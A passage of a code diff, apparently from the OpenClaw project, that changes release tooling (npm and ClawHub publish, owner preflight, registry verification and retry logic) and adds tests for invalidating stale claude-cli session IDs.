const packageJson = JSON.parse(readTarEntry("package.json"));
|
||||
packageJson = JSON.parse(readTarEntry("package.json"));
|
||||
packageVersion = typeof packageJson.version === "string" ? packageJson.version : "";
|
||||
} catch {
|
||||
packageVersion = "";
|
||||
}
|
||||
}
|
||||
errors.push(...collectExternalizedPluginRootChunkErrors(packageJson));
|
||||
for (const forbiddenEntry of FORBIDDEN_LOCAL_BUILD_METADATA_FILES) {
|
||||
if (entrySet.has(forbiddenEntry)) {
|
||||
if (isLegacyLocalBuildMetadataCompatVersion(packageVersion)) {
|
||||
|
||||
@@ -38,7 +38,7 @@ for (let index = 0; index < packageArgs.length; index += 3) {
|
||||
|
||||
const metadataFor = (entry, baseUrl) => ({
|
||||
name: entry.packageName,
|
||||
"dist-tags": { latest: entry.latestVersion },
|
||||
"dist-tags": { latest: entry.latestVersion, beta: entry.latestVersion },
|
||||
versions: Object.fromEntries(
|
||||
[...entry.versions.entries()].map(([version, versionEntry]) => [
|
||||
version,
|
||||
|
||||
@@ -15,6 +15,19 @@ if ! command -v node >/dev/null 2>&1 || ! command -v npm >/dev/null 2>&1; then
|
||||
fi
|
||||
fi
|
||||
|
||||
node_cmd="node"
|
||||
npm_cmd="npm"
|
||||
if command -v cygpath >/dev/null 2>&1; then
|
||||
if command -v node.exe >/dev/null 2>&1; then
|
||||
node_cmd="node.exe"
|
||||
fi
|
||||
if command -v npm.cmd >/dev/null 2>&1; then
|
||||
npm_cmd="npm.cmd"
|
||||
elif command -v npm.exe >/dev/null 2>&1; then
|
||||
npm_cmd="npm.exe"
|
||||
fi
|
||||
fi
|
||||
|
||||
temp_root="${OPENCLAW_RELEASE_TSX_TOOL_ROOT:-${RUNNER_TEMP:-${TMPDIR:-/tmp}}}"
|
||||
if command -v cygpath >/dev/null 2>&1; then
|
||||
temp_root="$(cygpath -u "${temp_root}")"
|
||||
@@ -22,27 +35,34 @@ fi
|
||||
|
||||
tool_dir="${OPENCLAW_RELEASE_TSX_TOOL_DIR:-${temp_root}/openclaw-release-tsx-${tsx_version}}"
|
||||
loader_path="${tool_dir}/node_modules/tsx/dist/loader.mjs"
|
||||
npm_tool_dir="${tool_dir}"
|
||||
if command -v cygpath >/dev/null 2>&1; then
|
||||
npm_tool_dir="$(cygpath -w "${tool_dir}")"
|
||||
fi
|
||||
|
||||
command -v node >/dev/null 2>&1 || {
|
||||
command -v "${node_cmd}" >/dev/null 2>&1 || {
|
||||
echo "node is required to run cross-OS release checks." >&2
|
||||
exit 127
|
||||
}
|
||||
command -v npm >/dev/null 2>&1 || {
|
||||
command -v "${npm_cmd}" >/dev/null 2>&1 || {
|
||||
echo "npm is required to install the cross-OS release-check loader." >&2
|
||||
exit 127
|
||||
}
|
||||
|
||||
if [[ ! -f "${loader_path}" ]]; then
|
||||
mkdir -p "${tool_dir}"
|
||||
npm install --prefix "${tool_dir}" --no-save --no-package-lock "tsx@${tsx_version}" >/dev/null
|
||||
if ! "${npm_cmd}" install --prefix "${npm_tool_dir}" --no-save --no-package-lock "tsx@${tsx_version}" >/dev/null; then
|
||||
echo "failed to install cross-OS release-check loader with ${npm_cmd}." >&2
|
||||
exit 127
|
||||
fi
|
||||
fi
|
||||
|
||||
loader_url="$(
|
||||
node -e '
|
||||
"${node_cmd}" -e '
|
||||
const { resolve } = require("node:path");
|
||||
const { pathToFileURL } = require("node:url");
|
||||
process.stdout.write(pathToFileURL(resolve(process.argv[1])).href);
|
||||
' "${loader_path}"
|
||||
)"
|
||||
|
||||
exec node --import "${loader_url}" "${script_path}" "$@"
|
||||
exec "${node_cmd}" --import "${loader_url}" "${script_path}" "$@"
|
||||
|
||||
@@ -60,6 +60,12 @@ type PluginReleasePlan = {
|
||||
skippedPublished: PluginReleasePlanItem[];
|
||||
};
|
||||
|
||||
type ClawHubPackageOwnerDetail = {
|
||||
owner?: {
|
||||
handle?: unknown;
|
||||
} | null;
|
||||
};
|
||||
|
||||
type ClawHubPublishablePluginPackageFilters = {
|
||||
extensionIds?: readonly string[];
|
||||
packageNames?: readonly string[];
|
||||
@@ -76,6 +82,7 @@ const CLAWHUB_SHARED_RELEASE_INPUT_PATHS = [
|
||||
"scripts/lib/npm-publish-plan.mjs",
|
||||
"scripts/lib/plugin-npm-release.ts",
|
||||
"scripts/lib/plugin-clawhub-release.ts",
|
||||
"scripts/plugin-clawhub-owner-preflight.ts",
|
||||
"scripts/openclaw-npm-release-check.ts",
|
||||
"scripts/plugin-clawhub-publish.sh",
|
||||
"scripts/plugin-clawhub-release-check.ts",
|
||||
@@ -343,6 +350,59 @@ async function isPluginVersionPublishedOnClawHub(
|
||||
);
|
||||
}
|
||||
|
||||
export async function collectClawHubOpenClawOwnerErrors(params: {
|
||||
plugins: readonly Pick<PublishablePluginPackage, "packageName">[];
|
||||
requiredOwnerHandle?: string;
|
||||
registryBaseUrl?: string;
|
||||
fetchImpl?: typeof fetch;
|
||||
}): Promise<string[]> {
|
||||
const fetchImpl = params.fetchImpl ?? fetch;
|
||||
const requiredOwnerHandle = params.requiredOwnerHandle ?? "openclaw";
|
||||
const errors: string[] = [];
|
||||
|
||||
await Promise.all(
|
||||
params.plugins.map(async (plugin) => {
|
||||
if (!plugin.packageName.startsWith("@openclaw/")) {
|
||||
return;
|
||||
}
|
||||
|
||||
const url = new URL(
|
||||
`/api/v1/packages/${encodeURIComponent(plugin.packageName)}`,
|
||||
getRegistryBaseUrl(params.registryBaseUrl),
|
||||
);
|
||||
const response = await fetchImpl(url, {
|
||||
method: "GET",
|
||||
headers: {
|
||||
Accept: "application/json",
|
||||
},
|
||||
});
|
||||
|
||||
if (response.status === 404) {
|
||||
errors.push(
|
||||
`${plugin.packageName}: ClawHub package row must already exist under @${requiredOwnerHandle} before OpenClaw release publish.`,
|
||||
);
|
||||
return;
|
||||
}
|
||||
if (!response.ok) {
|
||||
errors.push(
|
||||
`${plugin.packageName}: failed to query ClawHub owner: ${response.status} ${response.statusText}`,
|
||||
);
|
||||
return;
|
||||
}
|
||||
|
||||
const detail = (await response.json()) as ClawHubPackageOwnerDetail;
|
||||
const ownerHandle = typeof detail.owner?.handle === "string" ? detail.owner.handle : null;
|
||||
if (ownerHandle !== requiredOwnerHandle) {
|
||||
errors.push(
|
||||
`${plugin.packageName}: ClawHub package owner must be @${requiredOwnerHandle}; got ${ownerHandle ? `@${ownerHandle}` : "<missing>"}.`,
|
||||
);
|
||||
}
|
||||
}),
|
||||
);
|
||||
|
||||
return errors.toSorted();
|
||||
}
|
||||
|
||||
export async function collectPluginClawHubReleasePlan(params?: {
|
||||
rootDir?: string;
|
||||
selection?: string[];
|
||||
|
||||
@@ -779,7 +779,9 @@ async function runUpgradeLane(params) {
|
||||
timeoutMs: updateTimeoutMs(),
|
||||
check: false,
|
||||
});
|
||||
if (isRecoverableWindowsPackagedUpgradeSwapCleanupFailure(updateResult, process.platform)) {
|
||||
const usedWindowsPackagedUpgradeFallback =
|
||||
isRecoverableWindowsPackagedUpgradeSwapCleanupFailure(updateResult, process.platform);
|
||||
if (usedWindowsPackagedUpgradeFallback) {
|
||||
logLanePhase(lane, "update-fallback-install");
|
||||
await installPackageSpec({
|
||||
lane,
|
||||
@@ -793,14 +795,21 @@ async function runUpgradeLane(params) {
|
||||
});
|
||||
}
|
||||
|
||||
logLanePhase(lane, "update-status");
|
||||
await runOpenClaw({
|
||||
lane,
|
||||
env: updateEnv,
|
||||
args: ["update", "status", "--json"],
|
||||
logPath: join(params.logsDir, "upgrade-update-status.log"),
|
||||
timeoutMs: 2 * 60 * 1000,
|
||||
});
|
||||
if (
|
||||
shouldRunPackagedUpgradeStatusProbe({
|
||||
platform: process.platform,
|
||||
usedWindowsPackagedUpgradeFallback,
|
||||
})
|
||||
) {
|
||||
logLanePhase(lane, "update-status");
|
||||
await runOpenClaw({
|
||||
lane,
|
||||
env: updateEnv,
|
||||
args: ["update", "status", "--json"],
|
||||
logPath: join(params.logsDir, "upgrade-update-status.log"),
|
||||
timeoutMs: 2 * 60 * 1000,
|
||||
});
|
||||
}
|
||||
logLanePhase(lane, "run-bundled-plugin-postinstall");
|
||||
await runBundledPluginPostinstall({
|
||||
lane,
|
||||
@@ -1350,6 +1359,13 @@ export function isRecoverableWindowsPackagedUpgradeSwapCleanupFailure(
|
||||
);
|
||||
}
|
||||
|
||||
export function shouldRunPackagedUpgradeStatusProbe({
|
||||
platform = process.platform,
|
||||
usedWindowsPackagedUpgradeFallback,
|
||||
} = {}) {
|
||||
return !(platform === "win32" && usedWindowsPackagedUpgradeFallback);
|
||||
}
|
||||
|
||||
export function resolveExplicitBaselineVersion(baselineSpec) {
|
||||
const trimmed = baselineSpec.trim();
|
||||
if (!trimmed || trimmed === "openclaw@latest") {
|
||||
|
||||
44
scripts/plugin-clawhub-owner-preflight.ts
Normal file
44
scripts/plugin-clawhub-owner-preflight.ts
Normal file
@@ -0,0 +1,44 @@
|
||||
#!/usr/bin/env -S node --import tsx
|
||||
|
||||
import { readFileSync } from "node:fs";
|
||||
import { pathToFileURL } from "node:url";
|
||||
import { collectClawHubOpenClawOwnerErrors } from "./lib/plugin-clawhub-release.ts";
|
||||
|
||||
type ReleasePlanFile = {
|
||||
candidates?: Array<{
|
||||
packageName?: unknown;
|
||||
}>;
|
||||
};
|
||||
|
||||
export async function runClawHubOwnerPreflight(argv: string[]) {
|
||||
const planPath = argv[0];
|
||||
if (!planPath) {
|
||||
throw new Error("usage: plugin-clawhub-owner-preflight.ts <release-plan.json>");
|
||||
}
|
||||
|
||||
const parsed = JSON.parse(readFileSync(planPath, "utf8")) as ReleasePlanFile;
|
||||
const candidates = (parsed.candidates ?? [])
|
||||
.filter(
|
||||
(candidate): candidate is { packageName: string } =>
|
||||
typeof candidate.packageName === "string",
|
||||
)
|
||||
.map((candidate) => ({ packageName: candidate.packageName }));
|
||||
|
||||
const errors = await collectClawHubOpenClawOwnerErrors({ plugins: candidates });
|
||||
if (errors.length > 0) {
|
||||
throw new Error(
|
||||
`ClawHub OpenClaw package ownership preflight failed:\n${errors.map((error) => `- ${error}`).join("\n")}`,
|
||||
);
|
||||
}
|
||||
|
||||
console.log(`ClawHub OpenClaw owner preflight passed for ${candidates.length} candidate(s).`);
|
||||
}
|
||||
|
||||
if (import.meta.url === pathToFileURL(process.argv[1] ?? "").href) {
|
||||
try {
|
||||
await runClawHubOwnerPreflight(process.argv.slice(2));
|
||||
} catch (error) {
|
||||
console.error(error instanceof Error ? error.message : String(error));
|
||||
process.exit(1);
|
||||
}
|
||||
}
|
||||
@@ -152,4 +152,17 @@ if [[ "${mode}" == "--dry-run" ]]; then
|
||||
exit 0
|
||||
fi
|
||||
|
||||
CLAWHUB_WORKDIR="${clawhub_workdir}" "${publish_cmd[@]}"
|
||||
publish_log="${pack_dir}/publish.log"
|
||||
for attempt in $(seq 1 "${OPENCLAW_CLAWHUB_PUBLISH_ATTEMPTS:-8}"); do
|
||||
if CLAWHUB_WORKDIR="${clawhub_workdir}" "${publish_cmd[@]}" > >(tee "${publish_log}") 2>&1; then
|
||||
exit 0
|
||||
fi
|
||||
if ! grep -Eqi "rate limit|too many requests|\\b429\\b" "${publish_log}"; then
|
||||
exit 1
|
||||
fi
|
||||
echo "ClawHub publish hit a rate limit; retrying (${attempt}/${OPENCLAW_CLAWHUB_PUBLISH_ATTEMPTS:-8})." >&2
|
||||
sleep "${OPENCLAW_CLAWHUB_PUBLISH_RETRY_DELAY_SECONDS:-60}"
|
||||
done
|
||||
|
||||
echo "ClawHub publish failed after ${OPENCLAW_CLAWHUB_PUBLISH_ATTEMPTS:-8} attempts." >&2
|
||||
exit 1
|
||||
|
||||
234
scripts/release-registries-verify.ts
Normal file
234
scripts/release-registries-verify.ts
Normal file
@@ -0,0 +1,234 @@
|
||||
#!/usr/bin/env -S node --import tsx
|
||||
|
||||
import { execFileSync } from "node:child_process";
|
||||
import { readFileSync } from "node:fs";
|
||||
import { resolve } from "node:path";
|
||||
import { pathToFileURL } from "node:url";
|
||||
import { collectClawHubPublishablePluginPackages } from "./lib/plugin-clawhub-release.ts";
|
||||
import { collectPublishablePluginPackages } from "./lib/plugin-npm-release.ts";
|
||||
|
||||
type NpmDistTag = "alpha" | "beta" | "latest";
|
||||
|
||||
type NpmRegistryCheck = {
|
||||
registry: "npm";
|
||||
packageName: string;
|
||||
version: string;
|
||||
distTag: NpmDistTag;
|
||||
};
|
||||
|
||||
type ClawHubRegistryCheck = {
|
||||
registry: "clawhub";
|
||||
packageName: string;
|
||||
version: string;
|
||||
registryBaseUrl: string;
|
||||
};
|
||||
|
||||
export type ReleaseRegistryCheck = NpmRegistryCheck | ClawHubRegistryCheck;
|
||||
|
||||
export type ReleaseRegistryResult = ReleaseRegistryCheck & {
|
||||
ok: boolean;
|
||||
detail: string;
|
||||
};
|
||||
|
||||
export type ReleaseRegistryClients = {
|
||||
npmView?: (args: string[]) => string;
|
||||
clawHubStatus?: (
|
||||
packageName: string,
|
||||
version: string,
|
||||
registryBaseUrl: string,
|
||||
) => Promise<number>;
|
||||
};
|
||||
|
||||
function readRootVersion(rootDir: string) {
|
||||
const packageJson = JSON.parse(readFileSync(resolve(rootDir, "package.json"), "utf8")) as {
|
||||
version?: unknown;
|
||||
};
|
||||
if (typeof packageJson.version !== "string" || !packageJson.version.trim()) {
|
||||
throw new Error("Root package.json version is required.");
|
||||
}
|
||||
return packageJson.version.trim();
|
||||
}
|
||||
|
||||
function parseDistTag(value: string): NpmDistTag {
|
||||
if (value === "alpha" || value === "beta" || value === "latest") {
|
||||
return value;
|
||||
}
|
||||
throw new Error(`Unsupported npm dist-tag: ${value}`);
|
||||
}
|
||||
|
||||
function defaultNpmView(args: string[]) {
|
||||
return execFileSync("npm", ["view", ...args], {
|
||||
encoding: "utf8",
|
||||
stdio: ["ignore", "pipe", "pipe"],
|
||||
}).trim();
|
||||
}
|
||||
|
||||
async function defaultClawHubStatus(packageName: string, version: string, registryBaseUrl: string) {
|
||||
const encodedName = encodeURIComponent(packageName);
|
||||
const encodedVersion = encodeURIComponent(version);
|
||||
const url = `${registryBaseUrl.replace(/\/+$/u, "")}/api/v1/packages/${encodedName}/versions/${encodedVersion}`;
|
||||
const response = await fetch(url);
|
||||
return response.status;
|
||||
}
|
||||
|
||||
export function collectReleaseRegistryChecks(params: {
|
||||
rootDir?: string;
|
||||
version?: string;
|
||||
npmDistTag?: NpmDistTag;
|
||||
clawHubRegistryBaseUrl?: string;
|
||||
}): ReleaseRegistryCheck[] {
|
||||
const rootDir = resolve(params.rootDir ?? ".");
|
||||
const version = params.version ?? readRootVersion(rootDir);
|
||||
const npmDistTag = params.npmDistTag ?? "beta";
|
||||
const clawHubRegistryBaseUrl =
|
||||
params.clawHubRegistryBaseUrl?.trim() ||
|
||||
process.env.CLAWHUB_REGISTRY?.trim() ||
|
||||
"https://clawhub.ai";
|
||||
const checks: ReleaseRegistryCheck[] = [
|
||||
{
|
||||
registry: "npm",
|
||||
packageName: "openclaw",
|
||||
version,
|
||||
distTag: npmDistTag,
|
||||
},
|
||||
];
|
||||
const seenNpmPackages = new Set(["openclaw"]);
|
||||
for (const plugin of collectPublishablePluginPackages(rootDir)) {
|
||||
if (seenNpmPackages.has(plugin.packageName)) {
|
||||
continue;
|
||||
}
|
||||
seenNpmPackages.add(plugin.packageName);
|
||||
checks.push({
|
||||
registry: "npm",
|
||||
packageName: plugin.packageName,
|
||||
version,
|
||||
distTag: npmDistTag,
|
||||
});
|
||||
}
|
||||
const seenClawHubPackages = new Set<string>();
|
||||
for (const plugin of collectClawHubPublishablePluginPackages(rootDir)) {
|
||||
if (seenClawHubPackages.has(plugin.packageName)) {
|
||||
continue;
|
||||
}
|
||||
seenClawHubPackages.add(plugin.packageName);
|
||||
checks.push({
|
||||
registry: "clawhub",
|
||||
packageName: plugin.packageName,
|
||||
version,
|
||||
registryBaseUrl: clawHubRegistryBaseUrl,
|
||||
});
|
||||
}
|
||||
return checks.toSorted((left, right) => {
|
||||
const registryCompare = left.registry.localeCompare(right.registry);
|
||||
return registryCompare || left.packageName.localeCompare(right.packageName);
|
||||
});
|
||||
}
|
||||
|
||||
export async function verifyReleaseRegistries(
|
||||
checks: ReleaseRegistryCheck[],
|
||||
clients: ReleaseRegistryClients = {},
|
||||
): Promise<ReleaseRegistryResult[]> {
|
||||
const npmView = clients.npmView ?? defaultNpmView;
|
||||
const clawHubStatus = clients.clawHubStatus ?? defaultClawHubStatus;
|
||||
const results: ReleaseRegistryResult[] = [];
|
||||
|
||||
for (const check of checks) {
|
||||
if (check.registry === "npm") {
|
||||
try {
|
||||
const publishedVersion = npmView([`${check.packageName}@${check.version}`, "version"]);
|
||||
const publishedDistTag = npmView([check.packageName, `dist-tags.${check.distTag}`]);
|
||||
const ok = publishedVersion === check.version && publishedDistTag === check.version;
|
||||
results.push({
|
||||
...check,
|
||||
ok,
|
||||
detail: ok
|
||||
? `${check.packageName}@${check.version} ${check.distTag}`
|
||||
: `expected version/dist-tag ${check.version}, got version=${publishedVersion || "<missing>"} dist-tag=${publishedDistTag || "<missing>"}`,
|
||||
});
|
||||
} catch (error) {
|
||||
results.push({
|
||||
...check,
|
||||
ok: false,
|
||||
detail: error instanceof Error ? error.message : String(error),
|
||||
});
|
||||
}
|
||||
continue;
|
||||
}
|
||||
|
||||
try {
|
||||
const status = await clawHubStatus(check.packageName, check.version, check.registryBaseUrl);
|
||||
results.push({
|
||||
...check,
|
||||
ok: status >= 200 && status < 300,
|
||||
detail: `HTTP ${status}`,
|
||||
});
|
||||
} catch (error) {
|
||||
results.push({
|
||||
...check,
|
||||
ok: false,
|
||||
detail: error instanceof Error ? error.message : String(error),
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
return results;
|
||||
}
|
||||
|
||||
function parseArgs(argv: string[]) {
|
||||
let version: string | undefined;
|
||||
let npmDistTag: NpmDistTag = "beta";
|
||||
let rootDir = ".";
|
||||
let clawHubRegistryBaseUrl: string | undefined;
|
||||
|
||||
for (let index = 0; index < argv.length; index += 1) {
|
||||
const arg = argv[index];
|
||||
const next = () => {
|
||||
const value = argv[index + 1];
|
||||
if (!value) {
|
||||
throw new Error(`${arg} requires a value.`);
|
||||
}
|
||||
index += 1;
|
||||
return value;
|
||||
};
|
||||
if (arg === "--version") {
|
||||
version = next();
|
||||
} else if (arg === "--npm-dist-tag") {
|
||||
npmDistTag = parseDistTag(next());
|
||||
} else if (arg === "--root") {
|
||||
rootDir = next();
|
||||
} else if (arg === "--clawhub-registry") {
|
||||
clawHubRegistryBaseUrl = next();
|
||||
} else {
|
||||
throw new Error(`Unknown argument: ${arg}`);
|
||||
}
|
||||
}
|
||||
|
||||
return { rootDir, version, npmDistTag, clawHubRegistryBaseUrl };
|
||||
}
|
||||
|
||||
async function main(argv: string[]) {
|
||||
const params = parseArgs(argv);
|
||||
const checks = collectReleaseRegistryChecks(params);
|
||||
const results = await verifyReleaseRegistries(checks);
|
||||
const failed = results.filter((result) => !result.ok);
|
||||
for (const result of results) {
|
||||
const label =
|
||||
result.registry === "npm"
|
||||
? `npm ${result.packageName}@${result.version}`
|
||||
: `clawhub ${result.packageName}@${result.version}`;
|
||||
console.log(`${result.ok ? "ok" : "fail"} ${label}: ${result.detail}`);
|
||||
}
|
||||
if (failed.length > 0) {
|
||||
throw new Error(
|
||||
`release registry verification failed for ${failed.length}/${results.length} checks`,
|
||||
);
|
||||
}
|
||||
console.log(`release registry verification passed for ${results.length} checks`);
|
||||
}
|
||||
|
||||
if (import.meta.url === pathToFileURL(process.argv[1] ?? "").href) {
|
||||
main(process.argv.slice(2)).catch((error) => {
|
||||
console.error(error instanceof Error ? error.message : String(error));
|
||||
process.exitCode = 1;
|
||||
});
|
||||
}
|
||||
97
scripts/sync-root-package-exclusions.ts
Normal file
97
scripts/sync-root-package-exclusions.ts
Normal file
@@ -0,0 +1,97 @@
|
||||
#!/usr/bin/env -S node --import tsx
|
||||
|
||||
import { cwd } from "node:process";
|
||||
import tsdownConfig from "../tsdown.config.ts";
|
||||
import { collectRootPackageExcludedExtensionDirs } from "./lib/bundled-plugin-build-entries.mjs";
|
||||
|
||||
type TsdownConfigEntry = {
|
||||
entry?: Record<string, string> | string[];
|
||||
};
|
||||
|
||||
function asConfigArray(config: unknown): TsdownConfigEntry[] {
|
||||
return Array.isArray(config) ? (config as TsdownConfigEntry[]) : [config as TsdownConfigEntry];
|
||||
}
|
||||
|
||||
function entrySources(config: TsdownConfigEntry): Record<string, string> {
|
||||
if (!config.entry || Array.isArray(config.entry)) {
|
||||
return {};
|
||||
}
|
||||
return config.entry;
|
||||
}
|
||||
|
||||
function findRootDistGraph(): TsdownConfigEntry | undefined {
|
||||
return asConfigArray(tsdownConfig).find((config) => {
|
||||
const entries = entrySources(config);
|
||||
return entries["plugins/runtime/index"] === "src/plugins/runtime/index.ts";
|
||||
});
|
||||
}
|
||||
|
||||
function entryReferencesPlugin(params: { entryKey: string; pluginId: string; source: string }) {
|
||||
const pluginEntryPrefix = `extensions/${params.pluginId}/`;
|
||||
return (
|
||||
params.entryKey === `extensions/${params.pluginId}` ||
|
||||
params.entryKey.startsWith(pluginEntryPrefix) ||
|
||||
params.source === `extensions/${params.pluginId}` ||
|
||||
params.source.startsWith(pluginEntryPrefix)
|
||||
);
|
||||
}
|
||||
|
||||
function collectErrors(params: {
|
||||
excludedPluginIds: readonly string[];
|
||||
rootEntries: Record<string, string>;
|
||||
}) {
|
||||
const errors: string[] = [];
|
||||
for (const pluginId of params.excludedPluginIds) {
|
||||
for (const [entryKey, source] of Object.entries(params.rootEntries)) {
|
||||
if (entryReferencesPlugin({ entryKey, pluginId, source })) {
|
||||
errors.push(
|
||||
`root package excludes dist/extensions/${pluginId}/**, but tsdown root entry "${entryKey}" still builds ${source}`,
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
||||
return errors;
|
||||
}
|
||||
|
||||
function main(argv = process.argv.slice(2)) {
|
||||
const json = argv.includes("--json");
|
||||
const excludedPluginIds = [...collectRootPackageExcludedExtensionDirs({ cwd: cwd() })].toSorted(
|
||||
(left, right) => left.localeCompare(right),
|
||||
);
|
||||
const rootGraph = findRootDistGraph();
|
||||
const rootEntries = rootGraph ? entrySources(rootGraph) : {};
|
||||
const errors = rootGraph
|
||||
? collectErrors({ excludedPluginIds, rootEntries })
|
||||
: ["could not find tsdown root dist graph"];
|
||||
|
||||
if (json) {
|
||||
console.log(
|
||||
JSON.stringify(
|
||||
{
|
||||
ok: errors.length === 0,
|
||||
excludedPluginIds,
|
||||
rootEntryCount: Object.keys(rootEntries).length,
|
||||
errors,
|
||||
},
|
||||
null,
|
||||
2,
|
||||
),
|
||||
);
|
||||
} else if (errors.length === 0) {
|
||||
console.log(
|
||||
`root package exclusions synced: ${excludedPluginIds.length} excluded plugin dirs omitted from ${Object.keys(rootEntries).length} root tsdown entries.`,
|
||||
);
|
||||
} else {
|
||||
for (const error of errors) {
|
||||
console.error(`[root-package-exclusions] ${error}`);
|
||||
}
|
||||
}
|
||||
|
||||
if (errors.length > 0) {
|
||||
process.exitCode = 1;
|
||||
}
|
||||
}
|
||||
|
||||
if (import.meta.main) {
|
||||
main();
|
||||
}
|
||||
@@ -124,8 +124,8 @@ function sleep(ms) {
|
||||
}
|
||||
|
||||
async function packPublishedPackage(spec, destinationDir) {
|
||||
const attempts = Number.parseInt(process.env.OPENCLAW_PLUGIN_NPM_VERIFY_ATTEMPTS ?? "6", 10);
|
||||
const delayMs = Number.parseInt(process.env.OPENCLAW_PLUGIN_NPM_VERIFY_DELAY_MS ?? "5000", 10);
|
||||
const attempts = Number.parseInt(process.env.OPENCLAW_PLUGIN_NPM_VERIFY_ATTEMPTS ?? "90", 10);
|
||||
const delayMs = Number.parseInt(process.env.OPENCLAW_PLUGIN_NPM_VERIFY_DELAY_MS ?? "10000", 10);
|
||||
let lastError;
|
||||
for (let attempt = 1; attempt <= attempts; attempt += 1) {
|
||||
try {
|
||||
@@ -133,6 +133,9 @@ async function packPublishedPackage(spec, destinationDir) {
|
||||
} catch (error) {
|
||||
lastError = error;
|
||||
if (attempt < attempts) {
|
||||
console.error(
|
||||
`npm pack ${spec} not visible yet (attempt ${attempt}/${attempts}); retrying in ${delayMs}ms...`,
|
||||
);
|
||||
await sleep(delayMs);
|
||||
}
|
||||
}
|
||||
|
||||
@@ -19,6 +19,11 @@ vi.mock("../../plugins/hook-runner-global.js", () => ({
|
||||
getGlobalHookRunner: vi.fn(() => null),
|
||||
}));
|
||||
|
||||
vi.mock("../../plugin-sdk/anthropic-cli.js", () => ({
|
||||
CLAUDE_CLI_BACKEND_ID: "claude-cli",
|
||||
isClaudeCliProvider: (providerId: string) => providerId === "claude-cli",
|
||||
}));
|
||||
|
||||
vi.mock("../../tts/tts.js", () => ({
|
||||
buildTtsSystemPromptHint: vi.fn(() => undefined),
|
||||
}));
|
||||
@@ -668,4 +673,128 @@ describe("shouldSkipLocalCliCredentialEpoch", () => {
|
||||
fs.rmSync(dir, { recursive: true, force: true });
|
||||
}
|
||||
});
|
||||
|
||||
it("drops the claude-cli sessionId when the on-disk transcript is missing (#77011)", async () => {
|
||||
const { dir, sessionFile } = createSessionFile();
|
||||
try {
|
||||
cliBackendsTesting.setDepsForTest({
|
||||
resolvePluginSetupCliBackend: () => undefined,
|
||||
resolveRuntimeCliBackends: () => [
|
||||
{
|
||||
id: "claude-cli",
|
||||
pluginId: "anthropic",
|
||||
bundleMcp: false,
|
||||
config: {
|
||||
command: "claude",
|
||||
args: ["--print"],
|
||||
resumeArgs: ["--resume", "{sessionId}"],
|
||||
output: "jsonl",
|
||||
input: "stdin",
|
||||
sessionMode: "existing",
|
||||
},
|
||||
},
|
||||
],
|
||||
});
|
||||
const transcriptCheck = vi.fn(async () => false);
|
||||
setCliRunnerPrepareTestDeps({
|
||||
claudeCliSessionTranscriptHasContent: transcriptCheck,
|
||||
});
|
||||
|
||||
const context = await prepareCliRunContext({
|
||||
sessionId: "session-test",
|
||||
sessionKey: "agent:main:telegram:direct:peer",
|
||||
sessionFile,
|
||||
workspaceDir: dir,
|
||||
prompt: "follow-up",
|
||||
provider: "claude-cli",
|
||||
model: "opus",
|
||||
timeoutMs: 1_000,
|
||||
runId: "run-77011-missing",
|
||||
cliSessionBinding: { sessionId: "stale-claude-sid" },
|
||||
cliSessionId: "stale-claude-sid",
|
||||
config: createCliBackendConfig({ systemPromptOverride: null }),
|
||||
});
|
||||
|
||||
expect(transcriptCheck).toHaveBeenCalledWith({ sessionId: "stale-claude-sid" });
|
||||
expect(context.reusableCliSession).toEqual({ invalidatedReason: "missing-transcript" });
|
||||
} finally {
|
||||
fs.rmSync(dir, { recursive: true, force: true });
|
||||
}
|
||||
});
|
||||
|
||||
it("keeps the claude-cli sessionId when the on-disk transcript is present", async () => {
|
||||
const { dir, sessionFile } = createSessionFile();
|
||||
try {
|
||||
cliBackendsTesting.setDepsForTest({
|
||||
resolvePluginSetupCliBackend: () => undefined,
|
||||
resolveRuntimeCliBackends: () => [
|
||||
{
|
||||
id: "claude-cli",
|
||||
pluginId: "anthropic",
|
||||
bundleMcp: false,
|
||||
config: {
|
||||
command: "claude",
|
||||
args: ["--print"],
|
||||
resumeArgs: ["--resume", "{sessionId}"],
|
||||
output: "jsonl",
|
||||
input: "stdin",
|
||||
sessionMode: "existing",
|
||||
},
|
||||
},
|
||||
],
|
||||
});
|
||||
const transcriptCheck = vi.fn(async () => true);
|
||||
setCliRunnerPrepareTestDeps({
|
||||
claudeCliSessionTranscriptHasContent: transcriptCheck,
|
||||
});
|
||||
|
||||
const context = await prepareCliRunContext({
|
||||
sessionId: "session-test",
|
||||
sessionKey: "agent:main:telegram:direct:peer",
|
||||
sessionFile,
|
||||
workspaceDir: dir,
|
||||
prompt: "follow-up",
|
||||
provider: "claude-cli",
|
||||
model: "opus",
|
||||
timeoutMs: 1_000,
|
||||
runId: "run-77011-present",
|
||||
cliSessionBinding: { sessionId: "live-claude-sid" },
|
||||
cliSessionId: "live-claude-sid",
|
||||
config: createCliBackendConfig({ systemPromptOverride: null }),
|
||||
});
|
||||
|
||||
expect(transcriptCheck).toHaveBeenCalledWith({ sessionId: "live-claude-sid" });
|
||||
expect(context.reusableCliSession).toEqual({ sessionId: "live-claude-sid" });
|
||||
} finally {
|
||||
fs.rmSync(dir, { recursive: true, force: true });
|
||||
}
|
||||
});
|
||||
|
||||
it("does not probe the transcript for non-claude-cli providers", async () => {
|
||||
const { dir, sessionFile } = createSessionFile();
|
||||
try {
|
||||
const transcriptCheck = vi.fn(async () => false);
|
||||
setCliRunnerPrepareTestDeps({
|
||||
claudeCliSessionTranscriptHasContent: transcriptCheck,
|
||||
});
|
||||
|
||||
const context = await prepareCliRunContext({
|
||||
sessionId: "session-test",
|
||||
sessionFile,
|
||||
workspaceDir: dir,
|
||||
prompt: "latest ask",
|
||||
provider: "test-cli",
|
||||
model: "test-model",
|
||||
timeoutMs: 1_000,
|
||||
runId: "run-77011-other-provider",
|
||||
cliSessionBinding: { sessionId: "test-cli-sid" },
|
||||
config: createCliBackendConfig({ systemPromptOverride: null }),
|
||||
});
|
||||
|
||||
expect(transcriptCheck).not.toHaveBeenCalled();
|
||||
expect(context.reusableCliSession).toEqual({ sessionId: "test-cli-sid" });
|
||||
} finally {
|
||||
fs.rmSync(dir, { recursive: true, force: true });
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
@@ -4,6 +4,7 @@ import {
|
||||
createMcpLoopbackServerConfig,
|
||||
getActiveMcpLoopbackRuntime,
|
||||
} from "../../gateway/mcp-http.loopback-runtime.js";
|
||||
import { isClaudeCliProvider } from "../../plugin-sdk/anthropic-cli.js";
|
||||
import type {
|
||||
CliBackendAuthEpochMode,
|
||||
